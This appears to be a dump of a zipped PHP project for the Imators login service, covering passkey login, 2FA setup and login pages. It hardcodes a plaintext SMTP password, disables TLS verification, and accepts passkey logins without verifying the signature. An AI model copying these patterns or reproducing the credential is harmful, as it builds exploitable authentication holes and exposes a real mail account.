initialTime, canUnlock: false, formattedTime: '', startTimer() { const updateTimer = () => { if (this.remainingTime > 0) { const minutes = Math.floor(this.remainingTime / 60); const seconds = this.remainingTime % 60; this.formattedTime = `${minutes} min ${seconds} sec`; this.remainingTime--; setTimeout(updateTimer, 1000); } else { this.canUnlock = true; this.formattedTime = 'Unlocked'; } }; updateTimer(); } }; } </script> </body> </html> PK �)�[����O �O passkey.phpnu �Iw�� <?php session_start(); require_once 'db.php'; require 'vendor/autoload.php'; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; if (!isset($_SESSION['pending_user_id']) || !isset($_SESSION['pending_username']) || !isset($_SESSION['pending_email'])) { session_destroy(); header('Location: login.php'); exit; } $redirect_url = isset($_SESSION['redirect_after_passkey']) ? $_SESSION['redirect_after_passkey'] : 'https://idsma.imators.com/dashboard.php'; function getDeviceInfo($user_agent) { $device_info = [ 'device' => 'Unknown', 'os' => 'Unknown', 'browser' => 'Unknown' ]; if(preg_match('/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i',$user_agent)) { $device_info['device'] = 'Mobile'; } elseif(preg_match('/tablet|ipad|playbook|silk/i', $user_agent)) { $device_info['device'] = 'Tablet'; } else { $device_info['device'] = 'Desktop'; } if(preg_match('/windows/i', $user_agent)) { $device_info['os'] = 'Windows'; } elseif(preg_match('/macintosh|mac os x/i', $user_agent)) { $device_info['os'] = 'MacOS / iOS'; } elseif(preg_match('/linux/i', $user_agent)) { $device_info['os'] = 'Linux'; } elseif(preg_match('/iphone|ipad|ipod/i', $user_agent)) { $device_info['os'] = 'iOS'; } elseif(preg_match('/android/i', $user_agent)) { $device_info['os'] = 'Android'; } if(preg_match('/MSIE|Trident/i', $user_agent)) { $device_info['browser'] = 'Internet Explorer'; } elseif(preg_match('/Firefox/i', $user_agent)) { $device_info['browser'] = 'Firefox'; } elseif(preg_match('/Chrome/i', $user_agent)) { $device_info['browser'] = 'Chrome'; } elseif(preg_match('/Safari/i', $user_agent)) { $device_info['browser'] = 'Safari'; } elseif(preg_match('/Opera|OPR/i', $user_agent)) { $device_info['browser'] = 'Opera'; } return $device_info; } function sendLoginNotification($email, $location, $device_info) { $profile_picture = 'https://cdn.imators.com/default-profile.png'; try { $db = new Database(); $conn = $db->connect(); if(isset($_SESSION['pending_user_id'])) { $userId = $_SESSION['pending_user_id']; $query = "SELECT `profile-picture` FROM utilisateurs WHERE id = :id"; $stmt = $conn->prepare($query); $stmt->bindParam(':id', $userId, PDO::PARAM_INT); $stmt->execute(); if($stmt->rowCount() > 0) { $row = $stmt->fetch(PDO::FETCH_ASSOC); if(isset($row['profile-picture']) && !empty($row['profile-picture'])) { $profile_picture = $row['profile-picture']; } } } } catch (Exception $e) { error_log("Error fetching profile picture: " . $e->getMessage()); } $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = 'mail.imators.com'; $mail->SMTPAuth = true; $mail->Username = 'no-reply@imators.systems'; $mail->Password = 'imators.managements4455*#@'; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 587; $mail->SMTPOptions = [ 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true ] ]; $mail->setFrom('no-reply@imators.systems', 'Imators'); $mail->addAddress($email); $mail->addReplyTo('no-reply@imators.systems', 'No Reply'); $mail->isHTML(true); $mail->Subject = 'New Login to Your Imators Account'; $location_text = isset($location['formatted_address']) ? $location['formatted_address'] : ($location['location'] ?? 'Unknown'); $mail->Body = ' <div style="font-family: \'Poppins\', sans-serif; max-width: 600px; margin: 0 auto;"> <div style="background: #1a1a1a; padding: 30px; border-radius: 10px; color: white;"> <div style="text-align: center; margin-bottom: 20px;"> <img src="' . $profile_picture . '" alt="Profile Picture" style="width: 100px; height: 100px; border-radius: 50%; object-fit: cover; border: 2px solid #00ff00;"> </div> <h1 style="margin-bottom: 20px;">We detected a new login to your account with the following details:</h1> <ul style="margin-bottom: 20px; list-style: none; padding: 0;"> <li style="margin-bottom: 5px;">Location: ' . $location_text . '</li> <li style="margin-bottom: 5px;">Device: ' . $device_info['device'] . ' (' . $device_info['os'] . ')</li> <li style="margin-bottom: 5px;">Browser: ' . $device_info['browser'] . '</li> <li style="margin-bottom: 5px;">Time: ' . date('F j, Y g:i A') . '</li> <li style="margin-bottom: 5px;">Authentication Type: Passkey</li> </ul> <p style="margin-bottom: 30px;">If this wasn\'t you, please secure your account immediately.</p> <a href="https://idsma.imators.com" style="display: inline-block; background-color: #00ff00; color: black; padding: 10px 20px; text-decoration: none; border-radius: 5px;"> Go to Account Settings </a> <p style="margin-top: 20px; font-size: 12px; color: #888;"> If you believe someone has unauthorized access to your account, please contact our support team immediately. </p> </div> </div>'; $mail->send(); } catch (Exception $e) { error_log("Login email error: " . $mail->ErrorInfo); } } function logSuccessfulLogin($conn, $user_id, $location, $device_info) { $ip_address = $_SERVER['REMOTE_ADDR']; $location_data = [ 'ip' => $ip_address, 'location' => $location['location'] ?? 'Unknown' ]; if (isset($location['latitude']) && isset($location['longitude'])) { $location_data['latitude'] = $location['latitude']; $location_data['longitude'] = $location['longitude']; $location_data['formatted_address'] = $location['formatted_address'] ?? null; } $watchguard_data = [ 'user_id' => $user_id, 'ip-connected' => json_encode($location_data), 'identified-screen' => json_encode($device_info), 'hours-of-connect' => date('H:i:s'), 'date-of-connect' => date('Y-m-d H:i:s') ]; $stmt = $conn->prepare(" INSERT INTO `connection-watchguard` (user_id, `ip-connected`, `identified-screen`, `hours-of-connect`, `date-of-connect`) VALUES (:user_id, :ip_connected, :identified_screen, :hours_of_connect, :date_of_connect) "); $stmt->execute([ ':user_id' => $watchguard_data['user_id'], ':ip_connected' => $watchguard_data['ip-connected'], ':identified_screen' => $watchguard_data['identified-screen'], ':hours_of_connect' => $watchguard_data['hours-of-connect'], ':date_of_connect' => $watchguard_data['date-of-connect'] ]); } if ($_SERVER['REQUEST_METHOD'] === 'POST') { header('Content-Type: application/json'); try { $db = new Database(); $conn = $db->connect(); $data = json_decode(file_get_contents('php://input'), true); $stmt = $conn->prepare("SELECT * FROM passkeys WHERE user_id = ?"); $stmt->execute([$_SESSION['pending_user_id']]); $passkey = $stmt->fetch(PDO::FETCH_ASSOC); if ($passkey) { $user_id = $_SESSION['pending_user_id']; $username = $_SESSION['pending_username']; $email = $_SESSION['pending_email']; $redirect = $_SESSION['redirect_after_passkey'] ?? 'https://idsma.imators.com/dashboard.php'; $device_info = getDeviceInfo($_SERVER['HTTP_USER_AGENT']); // Récupérer les données de localisation $location = []; if(isset($data['exact_location'])) { $exact_location = $data['exact_location']; if($exact_location) { $location = [ 'country' => $exact_location['country'], 'city' => $exact_location['city'], 'region' => $exact_location['state'], 'location' => "{$exact_location['city']}, {$exact_location['country']}", 'latitude' => $exact_location['latitude'], 'longitude' => $exact_location['longitude'], 'formatted_address' => $exact_location['formatted'] ]; } } // Fallback sur la méthode IP si la géolocalisation a échoué if(empty($location)) { $ip_details = json_decode(file_get_contents("http://ip-api.com/json/" . $_SERVER['REMOTE_ADDR']), true); if($ip_details && $ip_details['status'] === 'success') { $location = [ 'country' => $ip_details['country'], 'city' => $ip_details['city'], 'region' => $ip_details['regionName'], 'location' => "{$ip_details['city']}, {$ip_details['country']}" ]; } } logSuccessfulLogin($conn, $user_id, $location, $device_info); sendLoginNotification($email, $location, $device_info); $stmt = $conn->prepare("UPDATE passkeys SET last_used_at = NOW() WHERE user_id = ?"); $stmt->execute([$user_id]); session_unset(); $_SESSION['user_id'] = $user_id; $_SESSION['username'] = $username; echo json_encode(['success' => true, 'redirect' => $redirect]); exit; } else { echo json_encode(['error' => 'Invalid passkey']); } } catch (Exception $e) { echo json_encode(['error' => $e->getMessage()]); } exit; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Passkey Authentication - Imators</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600&display=swap" rel="stylesheet"> <script src="https://cdn.tailwindcss.com"></script> <style> body { font-family: 'Poppins', sans-serif; background: linear-gradient(135deg, #000000, #0a0a0a, #141414); background-attachment: fixed; } .glass-effect { backdrop-filter: blur(16px); background: rgba(255, 255, 255, 0.02); border: 1px solid rgba(255, 255, 255, 0.05); } .gradient-border { position: relative; border-radius: 1.25rem; background: linear-gradient(145deg, rgba(26, 26, 26, 0.8), rgba(45, 45, 45, 0.4)); padding: 1px; } .hover-scale { transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); } .hover-scale:hover { transform: translateY(-4px) scale(1.01); box-shadow: 0 20px 40px rgba(0, 0, 0, 0.2); } </style> <script> // Fonction pour obtenir la géolocalisation précise function getExactLocation() { if (navigator.geolocation) { navigator.geolocation.getCurrentPosition( // Succès function(position) { const latitude = position.coords.latitude; const longitude = position.coords.longitude; // Appel à l'API de géocodage inverse pour obtenir l'adresse fetch(`https://nominatim.openstreetmap.org/reverse?format=json&lat=${latitude}&lon=${longitude}&zoom=18&addressdetails=1`) .then(response => response.json()) .then(data => { // Formatage de l'adresse window.exactLocation = { latitude: latitude, longitude: longitude, city: data.address.city || data.address.town || data.address.village || data.address.hamlet || 'Unknown', country: data.address.country || 'Unknown', state: data.address.state || data.address.county || 'Unknown', formatted: data.display_name || 'Unknown', }; }) .catch(error => { console.error("Error fetching address:", error); }); }, // Erreur function(error) { console.error("Geolocation error:", error); }, // Options { enableHighAccuracy: true, timeout: 5000, maximumAge: 0 } ); } } // Exécute la fonction au chargement de la page document.addEventListener('DOMContentLoaded', getExactLocation); </script> </head> <body class="bg-black text-white min-h-screen flex items-center justify-center p-4"> <div class="w-full max-w-md"> <div class="text-center mb-8"> <img src="https://cdn.imators.com/logo.png" alt="Logo" class="mx-auto mb-4" style="height: 60px;"> <h1 class="text-3xl text-green-200">Passkey Verification Required</h1> <p class="text-sm text-gray-400 mt-2">Complete your login with Passkey verification</p> <?php if(strpos($redirect_url, 'forum') !== false): ?> <div class="mt-4 p-3 bg-green-500/10 border border-green-500/20 rounded-lg text-center text-sm"> <p>You will be redirected to the forum after successful verification.</p> </div> <?php endif; ?> </div> <div class="bg-blue-500/20 border border-blue-500 text-blue-300 p-3 rounded-lg text-sm mb-6"> <p>For your safety, we ask you to authorise access to your precise location. This helps us detect suspicious connections.</p> </div> <div id="error-message" class="hidden bg-red-500/20 border border-red-500/20 text-red-400 p-4 rounded-lg mb-4 text-center"></div> <div class="gradient-border hover-scale"> <div class="glass-effect rounded-xl p-8"> <div class="flex justify-center mb-6"> <div id="verification-status" class="animate-pulse w-20 h-20 bg-blue-500/20 rounded-full flex items-center justify-center"> <svg class="w-10 h-10 text-blue-400" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"/> </svg> </div> </div> <div class="text-center space-y-4"> <p class="text-gray-300" id="status-text">Use your passkey to complete the login...</p> <div class="text-sm text-gray-500"> <p>Completing authentication for:</p> <p class="text-gray-300 font-medium"><?php echo htmlspecialchars($_SESSION['pending_email']); ?></p> </div> <a href="login.php<?php echo strpos($redirect_url, 'forum') !== false ? '?forumconnectionaccount=' . urlencode($redirect_url) : ''; ?>" class="inline-block text-sm text-gray-500 hover:text-gray-400 transition-colors mt-4"> Cancel and return to login </a> </div> </div> </div> </div> <script> async function verifyPasskey() { try { const challenge = new Uint8Array(32); window.crypto.getRandomValues(challenge); const credential = await navigator.credentials.get({ publicKey: { challenge, rpId: window.location.hostname, timeout: 60000, userVerification: "preferred", allowCredentials: [] } }); const requestData = { id: credential.id, rawId: arrayBufferToBase64(credential.rawId), response: { clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), authenticatorData: arrayBufferToBase64(credential.response.authenticatorData), signature: arrayBufferToBase64(credential.response.signature) } }; // Ajouter les données de localisation si disponibles if (window.exactLocation) { requestData.exact_location = window.exactLocation; } const response = await fetch(window.location.href, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(requestData) }); const result = await response.json(); if (result.success) { showSuccess(); setTimeout(() => { window.location.href = result.redirect || 'dashboard.php'; }, 1000); } else { throw new Error(result.error || 'Verification failed'); } } catch (error) { showError(error.message); } } function showSuccess() { const status = document.getElementById('verification-status'); const statusText = document.getElementById('status-text'); status.classList.remove('animate-pulse', 'bg-blue-500/20'); status.classList.add('bg-green-500/20'); status.innerHTML = ` <svg class="w-10 h-10 text-green-400" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"/> </svg>`; statusText.textContent = 'Verification successful! Redirecting...'; } function showError(message) { const status = document.getElementById('verification-status'); const statusText = document.getElementById('status-text'); const errorMessage = document.getElementById('error-message'); status.classList.remove('animate-pulse', 'bg-blue-500/20'); status.classList.add('bg-red-500/20'); status.innerHTML = ` <svg class="w-10 h-10 text-red-400" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"/> </svg>`; statusText.textContent = 'Verification failed. Please try again.'; errorMessage.textContent = message; errorMessage.classList.remove('hidden'); } function arrayBufferToBase64(buffer) { const bytes = new Uint8Array(buffer); let binary = ''; for (let i = 0; i < bytes.byteLength; i++) { binary += String.fromCharCode(bytes[i]); } return window.btoa(binary); } window.addEventListener('load', verifyPasskey); </script> </body> </html>PK �)�[� z�� � 2fa-dashboard.jsnu �[��� let currentStep = 1; let setupData = null; function openSetup2FAModal() { document.getElementById('setup2FAModal').classList.remove('hidden'); document.body.style.overflow = 'hidden'; goToStep(1); } function closeSetup2FAModal() { document.getElementById('setup2FAModal').classList.add('hidden'); document.body.style.overflow = 'auto'; resetSetup(); } function openDisable2FAModal() { document.getElementById('disable2FAModal').classList.remove('hidden'); document.body.style.overflow = 'hidden'; document.getElementById('disableCode').focus(); } function closeDisable2FAModal() { document.getElementById('disable2FAModal').classList.add('hidden'); document.body.style.overflow = 'auto'; document.getElementById('disableError').classList.add('hidden'); document.getElementById('disableCode').value = ''; } async function startSetup() { const loadingDiv = document.getElementById('qrcode'); loadingDiv.innerHTML = '<div class="animate-pulse text-gray-400">Loading...</div>'; try { const response = await fetch('setup_2fa_ajax.php', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' } }); setupData = await response.json(); console.log("Setup response:", setupData); if (setupData.success) { document.getElementById('qrcode').innerHTML = setupData.qrCode; document.getElementById('secretKey').textContent = setupData.secret; goToStep(2); } else { showError(setupData.error || 'Setup failed'); } } catch (error) { console.error('Setup error:', error); showError('Connection error'); } } async function verifySetup() { const code = document.getElementById('verificationCode').value.trim(); if (!code || code.length !== 6 || !/^\d+$/.test(code)) { showError('Please enter a valid 6-digit code'); return; } try { const response = await fetch('verify_2fa_setup.php', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, body: JSON.stringify({ code }) }); const result = await response.json(); console.log("Verify response:", result); if (result.success) { displayBackupCodes(result.backupCodes); goToStep(4); } else { showError(result.error || 'Invalid verification code'); document.getElementById('verificationCode').select(); } } catch (error) { console.error('Verification error:', error); showError('Verification failed'); } } async function disableTwoFactor() { const code = document.getElementById('disableCode').value.trim(); if (!code || code.length !== 6 || !/^\d+$/.test(code)) { showDisableError('Please enter a valid 6-digit code'); return; } try { const response = await fetch('disable_2fa.php', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, body: JSON.stringify({ code }) }); const result = await response.json(); console.log("Disable response:", result); if (result.success) { window.location.reload(); } else { showDisableError(result.error || 'Invalid code'); document.getElementById('disableCode').select(); } } catch (error) { console.error('Disable error:', error); showDisableError('Disable failed'); } } function goToStep(step) { document.querySelectorAll('.step').forEach(el => { el.classList.add('hidden'); }); document.getElementById(`step${step}`).classList.remove('hidden'); currentStep = step; if (step === 3) { document.getElementById('verificationCode').focus(); } } function showError(message) { const errorDiv = document.getElementById('verificationError'); errorDiv.textContent = message; errorDiv.classList.remove('hidden'); } function showDisableError(message) { const errorDiv = document.getElementById('disableError'); errorDiv.textContent = message; errorDiv.classList.remove('hidden'); } function displayBackupCodes(codes) { const container = document.getElementById('backupCodes'); container.innerHTML = codes.map(code => `<div class="px-3 py-2 bg-black/20 rounded text-yellow-400 font-mono text-center">${code}</div>` ).join(''); } function downloadCodes() { const codes = Array.from(document.querySelectorAll('#backupCodes div')) .map(div => div.textContent) .join('\n'); const blob = new Blob([`Your 2FA Backup Codes:\n\n${codes}`], { type: 'text/plain' }); const url = window.URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = '2fa-backup-codes.txt'; document.body.appendChild(a); a.click(); window.URL.revokeObjectURL(url); document.body.removeChild(a); } function resetSetup() { currentStep = 1; setupData = null; document.querySelectorAll('.step').forEach(el => el.classList.add('hidden')); document.getElementById('step1').classList.remove('hidden'); document.getElementById('verificationCode').value = ''; document.getElementById('verificationError')?.classList.add('hidden'); } function finishSetup() { window.location.reload(); } // Event Listeners document.addEventListener('DOMContentLoaded', function() { // Input handlers const numericInputs = document.querySelectorAll('input[type="text"]'); numericInputs.forEach(input => { input.addEventListener('input', function(e) { this.value = this.value.replace(/[^0-9]/g, ''); if (this.value.length === this.maxLength && this.id === 'verificationCode') { verifySetup(); } }); }); // Enter key handlers document.getElementById('verificationCode')?.addEventListener('keypress', function(e) { if (e.key === 'Enter' && this.value.length === 6) { verifySetup(); } }); document.getElementById('disableCode')?.addEventListener('keypress', function(e) { if (e.key === 'Enter' && this.value.length === 6) { disableTwoFactor(); } }); // Escape key handler document.addEventListener('keydown', function(e) { if (e.key === 'Escape') { if (!document.getElementById('setup2FAModal').classList.contains('hidden')) { closeSetup2FAModal(); } if (!document.getElementById('disable2FAModal').classList.contains('hidden')) { closeDisable2FAModal(); } } }); });PK �)�[Xh\�� � formore/error_lognu �[��� [12-May-2025 10:35:29 UTC] PHP Warning: require_once(db.php): Failed to open stream: No such file or directory in /home/gqdcvggs/idsma.imators.com/formore/index.php on line 3 [12-May-2025 10:35:29 UTC] PHP Fatal error: Uncaught Error: Failed opening required 'db.php' (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/gqdcvggs/idsma.imators.com/formore/index.php:3 Stack trace: #0 {main} thrown in /home/gqdcvggs/idsma.imators.com/formore/index.php on line 3 PK �)�[n�I��[ �[ formore/index.phpnu �Iw�� <?php session_start(); require_once 'db.php'; require 'vendor/autoload.php'; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; const MAX_ATTEMPTS = 3; const LOCKOUT_DURATION = 300; if(isset($_SESSION['user_id'])) { header('Location: https://idsma.imators.com/dashboard.php'); exit; } function getDeviceInfo($user_agent) { $device_info = [ 'device' => 'Unknown', 'os' => 'Unknown', 'browser' => 'Unknown' ]; if(preg_match('/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i',$user_agent)) { $device_info['device'] = 'Mobile'; } elseif(preg_match('/tablet|ipad|playbook|silk/i', $user_agent)) { $device_info['device'] = 'Tablet'; } else { $device_info['device'] = 'Desktop'; } if(preg_match('/windows/i', $user_agent)) { $device_info['os'] = 'Windows'; } elseif(preg_match('/macintosh|mac os x/i', $user_agent)) { $device_info['os'] = 'MacOS / iOS'; } elseif(preg_match('/linux/i', $user_agent)) { $device_info['os'] = 'Linux'; } elseif(preg_match('/iphone|ipad|ipod/i', $user_agent)) { $device_info['os'] = 'iOS'; } elseif(preg_match('/android/i', $user_agent)) { $device_info['os'] = 'Android'; } if(preg_match('/MSIE|Trident/i', $user_agent)) { $device_info['browser'] = 'Internet Explorer'; } elseif(preg_match('/Firefox/i', $user_agent)) { $device_info['browser'] = 'Firefox'; } elseif(preg_match('/Chrome/i', $user_agent)) { $device_info['browser'] = 'Chrome'; } elseif(preg_match('/Safari/i', $user_agent)) { $device_info['browser'] = 'Safari'; } elseif(preg_match('/Opera|OPR/i', $user_agent)) { $device_info['browser'] = 'Opera'; } return $device_info; } function sendLoginNotification($email, $location, $device_info) { $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = 'mail.imators.com'; $mail->SMTPAuth = true; $mail->Username = 'no-reply@imators.systems'; $mail->Password = 'imators.managements4455*#@'; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 587; $mail->SMTPOptions = [ 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true ] ]; $mail->setFrom('no-reply@imators.systems', 'Imators'); $mail->addAddress($email); $mail->addReplyTo('no-reply@imators.systems', 'No Reply'); $mail->isHTML(true); $mail->Subject = 'New Login to Your Imators Account'; $mail->Body = ' <div style="font-family: \'Poppins\', sans-serif; max-width: 600px; margin: 0 auto;"> <div style="background: #1a1a1a; padding: 30px; border-radius: 10px; color: white;"> <h1 style="margin-bottom: 20px;">We detected a new login to your account with the following details:</h1> <ul style="margin-bottom: 20px; list-style: none; padding: 0;"> <li style="margin-bottom: 5px;">Location: ' . ($location['location'] ?? 'Unknown') . '</li> <li style="margin-bottom: 5px;">Device: ' . $device_info['device'] . ' (' . $device_info['os'] . ')</li> <li style="margin-bottom: 5px;">Browser: ' . $device_info['browser'] . '</li> <li style="margin-bottom: 5px;">Time: ' . date('F j, Y g:i A') . '</li> </ul> <p style="margin-bottom: 30px;">If this wasn\'t you, please secure your account immediately.</p> <a href="https://idsma.imators.com" style="display: inline-block; background-color: #00ff00; color: black; padding: 10px 20px; text-decoration: none; border-radius: 5px;"> Go to Account Settings </a> <p style="margin-top: 20px; font-size: 12px; color: #888;"> If you believe someone has unauthorized access to your account, please contact our support team immediately. </p> </div> </div>'; $mail->send(); } catch (Exception $e) { error_log("Login email error: " . $mail->ErrorInfo); } } function logSuccessfulLogin($conn, $user, $location, $device_info) { $ip_address = $_SERVER['REMOTE_ADDR']; $watchguard_data = [ 'user_id' => $user['id'], 'ip-connected' => json_encode([ 'ip' => $ip_address, 'location' => $location['location'] ?? 'Unknown' ]), 'identified-screen' => json_encode($device_info), 'hours-of-connect' => date('H:i:s'), 'date-of-connect' => date('Y-m-d H:i:s') ]; $stmt = $conn->prepare(" INSERT INTO `connection-watchguard` (user_id, `ip-connected`, `identified-screen`, `hours-of-connect`, `date-of-connect`) VALUES (:user_id, :ip_connected, :identified_screen, :hours_of_connect, :date_of_connect) "); $stmt->execute([ ':user_id' => $watchguard_data['user_id'], ':ip_connected' => $watchguard_data['ip-connected'], ':identified_screen' => $watchguard_data['identified-screen'], ':hours_of_connect' => $watchguard_data['hours-of-connect'], ':date_of_connect' => $watchguard_data['date-of-connect'] ]); } $error = ''; $success = ''; $is_locked = false; $remaining_time = 0; $_SESSION['login_attempts'] ??= 0; if (isset($_SESSION['lockout_time']) && $_SESSION['lockout_time'] > time()) { $is_locked = true; $remaining_time = $_SESSION['lockout_time'] - time(); } if (isset($_GET['unlock']) && (!isset($_SESSION['lockout_time']) || $_SESSION['lockout_time'] <= time())) { unset($_SESSION['login_attempts']); unset($_SESSION['lockout_time']); $is_locked = false; } if(isset($_GET['verified'])) { $success = "Email verified! Please login to continue."; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && !$is_locked) { $email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL); $password = $_POST['password']; try { $db = new Database(); $conn = $db->connect(); $stmt = $conn->prepare("SELECT * FROM utilisateurs WHERE email = ? AND is_verified = 1 LIMIT 1"); $stmt->execute([$email]); if($stmt->rowCount() > 0) { $user = $stmt->fetch(PDO::FETCH_ASSOC); if(password_verify($password, $user['password'])) { $stmt = $conn->prepare("SELECT passkey_enabled FROM utilisateurs WHERE id = ? LIMIT 1"); $stmt->execute([$user['id']]); $passkey_enabled = $stmt->fetchColumn(); if ($passkey_enabled) { $_SESSION['pending_passkey_auth'] = true; $_SESSION['pending_user_id'] = $user['id']; $_SESSION['pending_username'] = $user['username']; $_SESSION['pending_email'] = $user['email']; header('Location: https://idsma.imators.com/passkey.php'); exit; } unset($_SESSION['login_attempts']); unset($_SESSION['lockout_time']); $_SESSION['user_id'] = $user['id']; $_SESSION['username'] = $user['username']; $device_info = getDeviceInfo($_SERVER['HTTP_USER_AGENT']); $ip_details = json_decode(file_get_contents("http://ip-api.com/json/" . $_SERVER['REMOTE_ADDR']), true); $location = []; if($ip_details && $ip_details['status'] === 'success') { $location = [ 'country' => $ip_details['country'], 'city' => $ip_details['city'], 'region' => $ip_details['regionName'], 'location' => "{$ip_details['city']}, {$ip_details['country']}" ]; } logSuccessfulLogin($conn, $user, $location, $device_info); sendLoginNotification($email, $location, $device_info); header('Location: https://idsma.imators.com/dashboard'); exit; } else { $_SESSION['login_attempts']++; if ($_SESSION['login_attempts'] >= MAX_ATTEMPTS) { $_SESSION['lockout_time'] = time() + LOCKOUT_DURATION; $is_locked = true; $error = "Too many failed attempts. Please wait 5 minutes."; } else { $error = "Invalid password"; } } } else { $error = "Email not found or not verified"; } } catch(PDOException $e) { $error = "Login failed: " . $e->getMessage(); } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Imators Auth.</title> <meta name="description" content="Log in to your Imators account or create one to access a multitude of features that give you control over the system at your fingertips."> <meta property="og:url" content="https://accounts.imators.com"> <meta property="og:type" content="website"> <meta property="og:title" content="Imators Auth."> <meta property="og:description" content="Log in to your Imators account or create one to access a multitude of features that give you control over the system at your fingertips."> <meta property="og:image" content="https://opengraph.b-cdn.net/production/images/fb6bc1ea-5744-46f1-bee6-fc033a6c6b56.png?token=_EL6e3nPPtxSgvlGKURhJgrJb5NireVFT99X4BXVrYA&height=600&width=1200&expires=33267345049"> <meta name="twitter:card" content="summary_large_image"> <meta property="twitter:domain" content="accounts.imators.com"> <meta property="twitter:url" content="https://accounts.imators.com"> <meta name="twitter:title" content="Imators Auth."> <meta name="twitter:description" content="Log in to your Imators account or create one to access a multitude of features that give you control over the system at your fingertips."> <meta name="twitter:image" content="https://opengraph.b-cdn.net/production/images/fb6bc1ea-5744-46f1-bee6-fc033a6c6b56.png?token=_EL6e3nPPtxSgvlGKURhJgrJb5NireVFT99X4BXVrYA&height=600&width=1200&expires=33267345049"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Imators Auth.</title> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600&display=swap" rel="stylesheet"> <script src="https://cdn.tailwindcss.com"></script> <script src="https://unpkg.com/alpinejs@3.x.x/dist/cdn.min.js" defer></script> <style> body { font-family: 'Poppins', sans-serif; } #countdown { display: none; color: red; } </style> </head> <body x-data="loginManager()" class="bg-black text-white min-h-screen flex items-center justify-center"> <div class="w-full max-w-md p-8"> <div class="text-center mb-8"> <img src="https://cdn.imators.com/logo.png" alt="Logo" class="mx-left mb-4" style="height: 60px;"> <h1 class="text-3xl text-left text-green-200">Discover the door to a multitude of functions</h1> <p class="text-sm text-left"><a class="underline" href="/register"><span class="underline text-green-300">Register</span></a> or login to your Imators account</p> </div> <div id="passkey-modal" class="fixed inset-0 bg-black bg-opacity-50 hidden z-50"> <div class="bg-black p-6 rounded-lg shadow-xl w-96 mx-auto mt-20 border border-gray-700"> <h2 class="text-xl text-white mb-4">Passkey verification</h2> <div class="flex justify-center mb-6"> <div class="animate-pulse w-16 h-16 bg-blue-500/20 rounded-full flex items-center justify-center"> <svg class="w-8 h-8 text-blue-400" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z" /> </svg> </div> </div> <p class="text-gray-300 text-center mb-6">Use your Passkey to connect...</p> <button onclick="closePasskeyModal()" class="w-full border border-gray-600 text-gray-300 py-2 px-4 rounded hover:bg-gray-800 transition-colors"> Annuler </button> </div> </div> <form method="POST" x-on:submit.prevent="submitForm" class="space-y-6" > <?php if($error): ?> <div x-show="showError" class="bg-red-500 text-white p-3 rounded-lg text-center mb-4" > <?php echo htmlspecialchars($error); ?> </div> <?php endif; ?> <?php if($is_locked): ?> <div x-data="lockoutTimer(<?php echo $remaining_time; ?>)" x-init="startTimer()" class="bg-yellow-500/20 border border-yellow-500 text-yellow-300 p-4 rounded-lg text-center mb-4" > <p>Too many login attempts</p> Time remaining: <span x-text="formattedTime"></span> <a x-show="canUnlock" href="?unlock" class="mt-2 inline-block bg-green-500 text-white px-4 py-2 rounded" > Try Again </a> </div> <?php endif; ?> <div> <label class="block text-sm font-medium mb-2">Email</label> <input type="email" name="email" required <?php echo $is_locked ? 'disabled' : ''; ?> x-model="email" class="w-full px-4 py-2 rounded-lg bg-gray-900 border border-gray-800 focus:border-white 